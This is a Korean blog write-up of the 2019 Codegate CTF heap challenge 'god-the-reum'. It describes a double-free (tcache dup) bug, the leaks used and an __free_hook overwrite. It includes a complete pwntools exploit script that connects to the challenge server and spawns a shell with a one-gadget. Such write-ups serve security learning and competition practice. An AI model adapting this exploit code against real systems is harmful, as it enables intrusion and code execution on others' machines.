2019 codegate god-the-reum
모든 보호기법이 걸려있다. 이번 코게 문제는 PIE가 상당히 많이 걸려있었다.
바이너리를 살짝 실행시켜보면 힙관련 문제임을 느낄 수 있는데 2.27 glibc를 제공해주기까지 헀으니 tcache 관련 문제임을 알 수 있다.
1eth를 가진 첫 번째 wallet을 할당했을 때의 모습이다. 두 개의 heap을 할당하는데 첫 번째 heap은 wallet의 address, 두 번째 heap은 wallet의 eth 정보를 가진다.
위 두 heap은 main의 wallet 지역변수에서 관리된다.
withdraw 했을 때 총 가격이 0원이라면 free해주는데 double free에 관한 검사가 전혀 존재하지 않는다. -> tcache dup
show 함수에서 fd(balance) 부분을 출력해 주므로 free후 heap, libc leak이 가능하다.
develop 함수로 fd 부분을 임의 변경할 수 있다.
위 정보들을 바탕으로 짠 exploit은 다음과 같다.
- unsortedbin(>=0x400)을 해제한 후 libc leak
- tcache dup 후 __free_hook으로 fd 변경
- __free_hook을 oneshot으로 변경 후 trigger
xxxxxxxxxx
from pwn import *
context.log_level = 'debug'
e = ELF('./god-the-reum')
#s = process(e.path)
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = connect('110.10.147.103', 10001)
#s = process(e.path, env={'LD_PRELOAD': './libc-2.27.so'})
l = ELF('./libc-2.27.so')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
# 0x0000555555554000
def menu(sel):
ru(': ')
sl(sel)
def create(eth):
menu('1')
ru(': ')
sl(eth)
def deposit(no, eth):
menu('2')
ru(': ')
sl(no)
ru(': ')
sl(eth)
def withdraw(no, eth):
menu('3')
ru(': ')
sl(no)
ru(': ')
sl(eth)
def show():
menu('4')
def developer(no, eth):
menu('6')
sleep(2)
sl(no)
sl(eth)
#create('30')
#withdraw('0', '30')
#withdraw('0', '0')
#developer('0', p64())
create(str(0x90))
withdraw('0', str(0x90))
withdraw('0', '0')
show()
ru('ballance ')
leak = int(s.recv(14))
print('leak!: {}'.format(hex(leak)))
create(str(0x500))
create(str(0x410))
withdraw('1', str(0x500))
show()
ru('1)')
ru('ballance ')
leak = int(s.recv(15))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x3ebca0
print('libc_base!: {}'.format(hex(libc_base)))
free_hook = libc_base + 0x3ed8e8
print('free_hook: {}'.format(hex(free_hook)))
#system = libc_base + l.symbols['system']
one = [0x4f2c5, 0x4f322, 0x10a38c]
oneshot = libc_base + one[1]
developer('0', p64(free_hook))
create(str(0x90))
create(str(0x90))
developer('4', p64(oneshot))
developer('0', p64(0))
withdraw('0', '0')
io()
'system > writeup' 카테고리의 다른 글
2017 rctf rnote (0) | 2019.01.28 |
---|---|
2019 insomnihack onewrite (0) | 2019.01.27 |
2018 codegate zoo (0) | 2019.01.25 |
2018 codegate super marimo (0) | 2019.01.24 |
2018 codegate superftp (0) | 2019.01.23 |